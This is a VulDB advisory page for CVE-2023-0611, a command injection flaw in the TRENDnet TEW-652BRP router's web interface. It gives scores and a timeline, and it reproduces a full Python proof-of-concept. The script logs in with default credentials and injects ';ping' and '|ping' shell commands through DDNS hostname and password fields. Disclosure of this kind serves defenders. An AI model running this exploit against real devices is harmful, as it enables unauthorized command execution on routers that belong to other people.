TRENDnet TEW-652BRP 3.04B01 Web Management Interface get_set.ccp command injection

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
8.6$0-$5k0.07

A vulnerability, which was classified as critical, has been found in TRENDnet TEW-652BRP 3.04B01. This issue affects some unknown functionality of the file get_set.ccp of the component Web Management Interface. The manipulation with an unknown input leads to a command injection vulnerability. Using CWE to declare the problem leads to CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.

The weakness was published 02/01/2023. The identification of this vulnerability is CVE-2023-0611. Technical details as well as a public exploit are known. The attack technique deployed by this issue is T1202 according to MITRE ATT&CK.

A public exploit has been developed in Python. The exploit is available at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'

headers = {'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Origin': 'http://{}'.format(device_web_ip), 
'Connection': 'keep-alive', 
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip), 
'Upgrade-Insecure-Requests': '1'}

login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
  print('Login wrong, please retry!')
  exit()

params = {
'ccp_act': 'set', 
'ccpSubEvent': 'CCP_SUB_DDNS', 
'nextPage': 'ddns.htm', 
'ddnsCfg_DDNSEnable_1.1.0.0.0': 1, 
'ddnsCfg_DDNSServer_1.1.0.0.0': 'dynupdate.no-ip.com', 
'ddnsCfg_HostName_1.1.0.0.0': ';ping -c 1 {};'.format(ping_target_ip), 
'ddnsCfg_Username_1.1.0.0.0': 'admin', 
'ddnsCfg_Password_1.1.0.0.0': '|ping -c 1 {}'.format(ping_target_ip), 
'ddnsCfg_Timeout_1.1.0.0.0': ''
}
method = 'POST'
url = 'http://{}/get_set.ccp'.format(device_web_ip)

try:
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except Exception as e:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Similar entries are available at VDB-147377, VDB-147378 and VDB-220019.

Productinfo

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 8.8
VulDB Meta Temp Score: 8.6

VulDB Base Score: 8.8
VulDB Temp Score: 8.3
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CNA Base Score: 8.8
CNA Vector (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Command injection
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Dayunlockunlockunlockunlock
Todayunlockunlockunlockunlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍

Timelineinfo

02/01/2023 🔍
02/01/2023 +0 days 🔍
02/01/2023 +0 days 🔍
03/01/2023 +28 days 🔍

Sourcesinfo

Status: Confirmed

CVE: CVE-2023-0611 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 02/01/2023 02:28 PM
Updated: 03/01/2023 11:09 AM
Changes: 02/01/2023 02:28 PM (39), 02/01/2023 02:29 PM (2), 03/01/2023 11:04 AM (2), 03/01/2023 11:09 AM (27)
Complete: 🔍
Submitter: leetsun
Cache ID: 44:6F5:40

Submitinfo

Accepted

  • Submit #77380: Command injection on TRENDnet router TEW-652BRP(2) (by leetsun)

Discussion

No comments yet. Languages: en.

Please log in to comment.

Might our Artificial Intelligence support you?

Check our Alexa App!